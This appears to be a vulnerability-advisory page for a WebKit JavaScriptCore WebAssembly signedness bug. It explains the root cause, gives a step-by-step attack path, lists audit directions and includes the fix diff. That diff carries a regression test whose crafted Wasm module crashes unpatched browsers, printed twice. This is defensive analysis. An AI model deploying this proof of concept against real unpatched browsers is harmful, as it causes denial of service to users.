Medium CVSS 6.5 webkit Integer Overflow 🔧 Commit mapped

Overview

Medium
Severity
6.5
CVSS
No
Exploited ITW
Fixed
Fix Status
DescriptionProcessing maliciously crafted web content may lead to an unexpected Safari crash
ComponentJSC
Sub-componentJSC Wasm
Bug ClassInteger Overflow
Tracker292599
Fix commit666190cff29d (WebKit/WebKit) +70/-10
CWECWE-119, CWE-120 (Buffer bounds error, Buffer overflow)
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
CISA KEVNot listed
Creditedshandikri working with Trend Micro Zero Day Initiative, Google V8 Security Team
Disclosed2025-07-29

Background

IPInt (In-Place Interpreter)
JSC’s low-tier WebAssembly interpreter that executes Wasm bytecode directly using precomputed side metadata for control flow, before any JIT tier-up.
BlockMetadata delta (PC/MC)
A pair of 32-bit offsets added to the bytecode program counter (PC) and metadata cursor (MC) to jump the interpreter from a branch source to its target.
Sign extension (sxi2q)
Copying the top bit of a 32-bit value into the upper 32 bits of a 64-bit register so that a negative 32-bit number keeps its negative value; loadi zero-extends and thus loses negative sign.
try_table / catch_all
A Wasm exception-handling construct whose catch clause can transfer control to an enclosing label, producing a backward branch when that label is a preceding loop header.
loadpairi
An instruction that loads two adjacent 32-bit fields in one operation, which is why the patch stresses that deltaPC/deltaMC field order must be preserved.

Root Cause Analysis

The IPInt (In-Place Interpreter) tier of JSC’s WebAssembly engine encodes control-flow transfers as BlockMetadata records containing a delta to add to the bytecode PC and to the metadata MC. In WasmIPIntGenerator.h these two fields were declared as unsigned (uint32_t deltaPC/deltaMC). The generator computes each delta as a subtraction of two IPIntLocation offsets (e.g. target.m_entryTarget.pc - loc.pc, here.pc - src.pc, loc.pc - src.pc) in WasmIPIntGenerator.cpp. For most control constructs the branch target lies forward of the source, so the delta is non-negative and the sign of the storage type does not matter. However, for a backward branch – notably the loop entry resolution path (resolveEntryTarget, the isLoop case) and the exception-handling coalescing path (coalesceControlFlow / try_table catch that re-enters an enclosing loop) – the target precedes the source and the delta is genuinely negative. Because the field was uint32_t and the interpreter loaded it with the 32-bit zero-extending ’loadi’ in InPlaceInterpreter64.asm, a small negative delta such as -8 was reinterpreted as a huge positive 32-bit value (e.g. 0xFFFFFFF8) and then added to the 64-bit PC/MC via advancePCByReg/advanceMCByReg.

The invariant that was violated is that a backward control transfer must move the interpreter PC/MC backward; instead it flung them far forward out of the bytecode/metadata buffer.

The fix redeclares deltaPC/deltaMC as int32_t (documenting that field order matters because both are fetched by a single loadpairi, and that negative deltas require sign extension to 64 bits before the add), casts every computed delta to int32_t in the .cpp, and inserts ‘sxi2q t0, t0 / sxi2q t1, t1’ sign-extension in the one asm dispatch path that can take a backward branch, while explicitly commenting the forward-only paths that they may safely skip sign extension. This restores correct backward branching so the loop/try_table re-entry lands on the intended instruction.

Key insight
A signedness bug: control-flow deltas that are legitimately negative for backward branches were stored unsigned and loaded with a zero-extending 32-bit load, so backward loop/try_table re-entries jumped massively forward instead of back – the fix is simply to make the deltas int32_t and sign-extend them before the 64-bit add.

Attack Path

  1. Deliver a crafted WebAssembly module Serve a page that instantiates a small Wasm module whose control flow forces a backward branch whose metadata delta is negative, as in the added regression test wasm-try-table-catching-backwards.js.
  2. Construct a backward exception re-entry Use a (loop) containing a (try_table (catch_all $top …)) that catches an exception and branches back to the enclosing loop header, so the coalescing pass emits a BlockMetadata with a negative deltaPC/deltaMC (target before source).
  3. Force IPInt execution Keep the function in the interpreter tier (small/first-run) so it executes via IPInt rather than being tiered up, ensuring the buggy loadi/zero-extended dispatch runs.
  4. Trigger the throw Call an imported function (here returnYourself) inside the try_table and have the catch handler execute, causing the interpreter to take the backward branch with the corrupted delta.
  5. Corrupt PC/MC The zero-extended negative delta advances PC/MC far outside the module’s bytecode/metadata buffers, so the interpreter fetches an out-of-bounds opcode and typically faults or executes ‘unreachable’, crashing WebContent.

Impact Assessment

The primitive is a control-flow-only corruption of the interpreter’s PC/MC by a fixed, attacker-influenced-but-not-freely-chosen amount (the zero-extended magnitude of a negative delta). It does not by itself give an attacker-controlled read/write of heap objects; the most likely outcome is that the interpreter dereferences an out-of-bounds bytecode/metadata address and crashes (segfault or a spurious ‘unreachable’ trap), matching the advisory’s ‘unexpected Safari crash’. Escalation to RCE would require turning the mis-advanced PC/MC into a reliable OOB read/write of interpreter state, which is not demonstrated and would be difficult given the delta is derived from module layout rather than attacker data. The bug is confined to the WebContent process’s JS/Wasm engine and is still subject to the WebContent sandbox.

Changed Functions

FunctionChangeNotes
if
Source/JavaScriptCore/wasm/WasmIPIntGenerator.cpp
modified
for
Source/JavaScriptCore/wasm/WasmIPIntGenerator.cpp
modified

Files Changed

  • JSTests/wasm/stress/wasm-try-table-catching-backwards.js
  • Source/JavaScriptCore/llint/InPlaceInterpreter64.asm
  • Source/JavaScriptCore/wasm/WasmIPIntGenerator.cpp
  • Source/JavaScriptCore/wasm/WasmIPIntGenerator.h

Audit Directions

  • Other IPInt metadata deltas
    In WasmIPIntGenerator.h/.cpp audit every metadata field that stores a computed offset (grep for ‘delta’, ‘BlockMetadata’, ‘IfMetadata’, ‘InstructionLengthMetadata’) and confirm that any field ever produced by an a.pc - b.pc subtraction where target can precede source is signed and sign-extended; IfMetadata was left unsigned on the claim that else-branches are always forward – verify that.
  • loadi vs sign-extension in InPlaceInterpreter*.asm
    Grep InPlaceInterpreter64.asm / InPlaceInterpreter32_64.asm for every ’loadi …deltaPC/deltaMC’ or advancePCByReg/advanceMCByReg site and check whether a backward branch can reach it without a preceding sxi2q; the patch only fixed one of six near-identical dispatch blocks.
  • Unsigned storage of interpreter jump offsets across tiers
    Compare the LLInt/bytecode branch-offset encodings (grep for ‘deltaPC’, ’targetOffset’, BoundLabel/jump-target math) for the same zero-extend-a-negative-delta pattern in non-Wasm interpreter paths.
  • Backward-branch Wasm control constructs
    Fuzz/audit constructs that legitimately branch backward – loop headers, br/br_if/br_table targeting outer loops, and try_table/catch re-entry – across all Wasm tiers to find metadata paths that assume forward-only deltas.
diff --git a/Source/JavaScriptCore/llint/InPlaceInterpreter64.asm b/Source/JavaScriptCore/llint/InPlaceInterpreter64.asm
index 33d606915380..7582968a9bfb 100644
--- a/Source/JavaScriptCore/llint/InPlaceInterpreter64.asm
+++ b/Source/JavaScriptCore/llint/InPlaceInterpreter64.asm
@@ -254,6 +254,8 @@ else
     loadi IPInt::BlockMetadata::deltaPC[MC], t0
     loadi IPInt::BlockMetadata::deltaMC[MC], t1
 end
+    sxi2q t0, t0
+    sxi2q t1, t1
     advancePCByReg(t0)
     advanceMCByReg(t1)
     nextIPIntInstruction()
@@ -300,6 +302,7 @@ else
     loadi IPInt::BlockMetadata::deltaPC[MC], t0
     loadi IPInt::BlockMetadata::deltaMC[MC], t1
 end
+    # always skipping forward - no need to sign-extend t0, t1
     advancePCByReg(t0)
     advanceMCByReg(t1)
     nextIPIntInstruction()
@@ -321,6 +324,7 @@ else
     loadi IPInt::BlockMetadata::deltaPC[MC], t0
     loadi IPInt::BlockMetadata::deltaMC[MC], t1
 end
+    # always skipping forward - no need to sign-extend t0, t1
     advancePCByReg(t0)
     advanceMCByReg(t1)
     nextIPIntInstruction()
@@ -653,6 +657,7 @@ else
     loadi IPInt::BlockMetadata::deltaPC[MC], t0
     loadi IPInt::BlockMetadata::deltaMC[MC], t1
 end
+    # always skipping forward - no need to sign-extend t0, t1
     advancePCByReg(t0)
     advanceMCByReg(t1)
     nextIPIntInstruction()
@@ -667,6 +672,7 @@ else
     loadi IPInt::BlockMetadata::deltaPC[MC], t0
     loadi IPInt::BlockMetadata::deltaMC[MC], t1
 end
+    # always skipping forward - no need to sign-extend t0, t1
     advancePCByReg(t0)
     advanceMCByReg(t1)
     nextIPIntInstruction()
@@ -723,6 +729,7 @@ else
     loadi IPInt::BlockMetadata::deltaPC[MC], t0
     loadi IPInt::BlockMetadata::deltaMC[MC], t1
 end
+    # always skipping forward - no need to sign-extend t0, t1
     advancePCByReg(t0)
     advanceMCByReg(t1)
     nextIPIntInstruction()
diff --git a/Source/JavaScriptCore/wasm/WasmIPIntGenerator.cpp b/Source/JavaScriptCore/wasm/WasmIPIntGenerator.cpp
index e309d9ec25ec..552bbb5bcf9e 100644
--- a/Source/JavaScriptCore/wasm/WasmIPIntGenerator.cpp
+++ b/Source/JavaScriptCore/wasm/WasmIPIntGenerator.cpp
@@ -579,7 +579,7 @@ public:
         auto& target = m_controlStructuresAwaitingCoalescing[index];
         if (target.isLoop) {
             ASSERT(target.m_entryResolved);
-            IPInt::BlockMetadata md = { target.m_entryTarget.pc - loc.pc, target.m_entryTarget.mc - loc.mc };
+            IPInt::BlockMetadata md = { static_cast<int32_t>(target.m_entryTarget.pc - loc.pc), static_cast<int32_t>(target.m_entryTarget.mc - loc.mc) };
             WRITE_TO_METADATA(metadata + loc.mc, md, IPInt::BlockMetadata);
         } else {
             ASSERT(!target.m_exitResolved);
@@ -1997,7 +1997,7 @@ void IPIntGenerator::coalesceControlFlow(bool force)
         m_controlStructuresAwaitingCoalescing.shrink(0);
 
     for (auto& src : m_exitHandlersAwaitingCoalescing) {
-        IPInt::BlockMetadata md = { here.pc - src.pc, here.mc - src.mc };
+        IPInt::BlockMetadata md = { static_cast<int32_t>(here.pc - src.pc), static_cast<int32_t>(here.mc - src.mc) };
         WRITE_TO_METADATA(m_metadata->m_metadata.mutableSpan().data() + src.mc, md, IPInt::BlockMetadata);
     }
     m_exitHandlersAwaitingCoalescing.shrink(0);
@@ -2009,12 +2009,12 @@ void IPIntGenerator::resolveEntryTarget(unsigned index, IPIntLocation loc)
     ASSERT(!control.m_entryResolved);
     for (auto& src : control.m_awaitingEntryTarget) {
         // write delta PC and delta MC
-        IPInt::BlockMetadata md = { loc.pc - src.pc, loc.mc - src.mc };
+        IPInt::BlockMetadata md = { static_cast<int32_t>(loc.pc - src.pc), static_cast<int32_t>(loc.mc - src.mc) };
         WRITE_TO_METADATA(m_metadata->m_metadata.mutableSpan().data() + src.mc, md, IPInt::BlockMetadata);
     }
     if (control.isLoop) {
         for (auto& src : control.m_awaitingBranchTarget) {
-            IPInt::BlockMetadata md = { loc.pc - src.pc, loc.mc - src.mc };
+            IPInt::BlockMetadata md = { static_cast<int32_t>(loc.pc - src.pc), static_cast<int32_t>(loc.mc - src.mc) };
             WRITE_TO_METADATA(m_metadata->m_metadata.mutableSpan().data() + src.mc, md, IPInt::BlockMetadata);
         }
         control.m_awaitingBranchTarget.clear();
@@ -2030,12 +2030,12 @@ void IPIntGenerator::resolveExitTarget(unsigned index, IPIntLocation loc)
     ASSERT(!control.m_exitResolved);
     for (auto& src : control.m_awaitingExitTarget) {
         // write delta PC and delta MC
-        IPInt::BlockMetadata md = { loc.pc - src.pc, loc.mc - src.mc };
+        IPInt::BlockMetadata md = { static_cast<int32_t>(loc.pc - src.pc), static_cast<int32_t>(loc.mc - src.mc) };
         WRITE_TO_METADATA(m_metadata->m_metadata.mutableSpan().data() + src.mc, md, IPInt::BlockMetadata);
     }
     if (!control.isLoop) {
         for (auto& src : control.m_awaitingBranchTarget) {
-            IPInt::BlockMetadata md = { loc.pc - src.pc, loc.mc - src.mc };
+            IPInt::BlockMetadata md = { static_cast<int32_t>(loc.pc - src.pc), static_cast<int32_t>(loc.mc - src.mc) };
             WRITE_TO_METADATA(m_metadata->m_metadata.mutableSpan().data() + src.mc, md, IPInt::BlockMetadata);
         }
         control.m_awaitingBranchTarget.clear();
diff --git a/Source/JavaScriptCore/wasm/WasmIPIntGenerator.h b/Source/JavaScriptCore/wasm/WasmIPIntGenerator.h
index de224dac1d1f..cae094986def 100644
--- a/Source/JavaScriptCore/wasm/WasmIPIntGenerator.h
+++ b/Source/JavaScriptCore/wasm/WasmIPIntGenerator.h
@@ -79,13 +79,16 @@ struct InstructionLengthMetadata {
 };
 
 struct BlockMetadata {
-    uint32_t deltaPC; // 4B for new PC
-    uint32_t deltaMC; // 4B for new MC
+    // Field order is significant, both may be loaded with one 'loadpairi' instruction.
+    // Negative deltas are possible for some Wasm instructions and require sign extension to 64b before the addition.
+    int32_t deltaPC; // 4B added to PC
+    int32_t deltaMC; // 4B added to MC
 };
 
 struct IfMetadata {
-    uint32_t elseDeltaPC; // 4B PC for new else PC
-    uint32_t elseDeltaMC; // 4B MC of new else MC
+    // Field order is significant, both may be loaded with one 'loadpairi' instruction.
+    uint32_t elseDeltaPC; // 4B added to PC
+    uint32_t elseDeltaMC; // 4B added to MC
     InstructionLengthMetadata instructionLength;
 };
 
diff --git a/JSTests/wasm/stress/wasm-try-table-catching-backwards.js b/JSTests/wasm/stress/wasm-try-table-catching-backwards.js
new file mode 100644
index 000000000000..5929a014956a
--- /dev/null
+++ b/JSTests/wasm/stress/wasm-try-table-catching-backwards.js
@@ -0,0 +1,50 @@
+function returnYourself() {
+    return returnYourself;
+}
+
+/*
+(module
+    (func $imported (import "fun" "a") (result funcref))
+    (func $main (export "main")
+        (local $do_exit i32)
+        i32.const 0
+        local.set $do_exit
+        (loop $top
+            ;; the $proceed block passes on the first iteration and returns from the function the second time it's entered
+            (block $proceed
+                local.get $do_exit
+                i32.eqz
+                br_if $proceed
+                return
+            )
+            i32.const 1
+            local.set $do_exit
+            (try_table $x (catch_all $top)
+                call $imported
+                drop
+            )
+            unreachable
+        )
+    )
+)
+*/
+const module = new WebAssembly.Module(new Uint8Array([
+  0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x08, 0x02, 0x60,
+  0x00, 0x01, 0x70, 0x60, 0x00, 0x00, 0x02, 0x09, 0x01, 0x03, 0x66, 0x75,
+  0x6e, 0x01, 0x61, 0x00, 0x00, 0x03, 0x02, 0x01, 0x01, 0x07, 0x08, 0x01,
+  0x04, 0x6d, 0x61, 0x69, 0x6e, 0x00, 0x01, 0x0a, 0x28, 0x01, 0x26, 0x01,
+  0x01, 0x7f, 0x41, 0x00, 0x21, 0x00, 0x03, 0x40, 0x02, 0x40, 0x20, 0x00,
+  0x45, 0x0d, 0x00, 0x0f, 0x0b, 0x41, 0x01, 0x21, 0x00, 0x02, 0x40, 0x1f,
+  0x40, 0x01, 0x02, 0x01, 0x10, 0x00, 0x1a, 0x0b, 0x0b, 0x00, 0x0b, 0x00,
+  0x0b
+]));
+const instance = new WebAssembly.Instance(module, {
+    fun: {
+        a: returnYourself
+    }
+});
+
+// Will fail with a random failure including but not limited to Unreachable or a segfault
+// if the fix https://bugs.webkit.org/show_bug.cgi?id=292599 has regressed.
+// Will fail with Unreachable if the exception is not thrown or not caught correctly.
+instance.exports.main();
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/JSTests/wasm/stress/wasm-try-table-catching-backwards.js b/JSTests/wasm/stress/wasm-try-table-catching-backwards.js
new file mode 100644
index 000000000000..5929a014956a
--- /dev/null
+++ b/JSTests/wasm/stress/wasm-try-table-catching-backwards.js
@@ -0,0 +1,50 @@
+function returnYourself() {
+    return returnYourself;
+}
+
+/*
+(module
+    (func $imported (import "fun" "a") (result funcref))
+    (func $main (export "main")
+        (local $do_exit i32)
+        i32.const 0
+        local.set $do_exit
+        (loop $top
+            ;; the $proceed block passes on the first iteration and returns from the function the second time it's entered
+            (block $proceed
+                local.get $do_exit
+                i32.eqz
+                br_if $proceed
+                return
+            )
+            i32.const 1
+            local.set $do_exit
+            (try_table $x (catch_all $top)
+                call $imported
+                drop
+            )
+            unreachable
+        )
+    )
+)
+*/
+const module = new WebAssembly.Module(new Uint8Array([
+  0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x08, 0x02, 0x60,
+  0x00, 0x01, 0x70, 0x60, 0x00, 0x00, 0x02, 0x09, 0x01, 0x03, 0x66, 0x75,
+  0x6e, 0x01, 0x61, 0x00, 0x00, 0x03, 0x02, 0x01, 0x01, 0x07, 0x08, 0x01,
+  0x04, 0x6d, 0x61, 0x69, 0x6e, 0x00, 0x01, 0x0a, 0x28, 0x01, 0x26, 0x01,
+  0x01, 0x7f, 0x41, 0x00, 0x21, 0x00, 0x03, 0x40, 0x02, 0x40, 0x20, 0x00,
+  0x45, 0x0d, 0x00, 0x0f, 0x0b, 0x41, 0x01, 0x21, 0x00, 0x02, 0x40, 0x1f,
+  0x40, 0x01, 0x02, 0x01, 0x10, 0x00, 0x1a, 0x0b, 0x0b, 0x00, 0x0b, 0x00,
+  0x0b
+]));
+const instance = new WebAssembly.Instance(module, {
+    fun: {
+        a: returnYourself
+    }
+});
+
+// Will fail with a random failure including but not limited to Unreachable or a segfault
+// if the fix https://bugs.webkit.org/show_bug.cgi?id=292599 has regressed.
+// Will fail with Unreachable if the exception is not thrown or not caught correctly.
+instance.exports.main();
Loading diff…

Original Bug Report

The reporter's bug is still restricted on the tracker.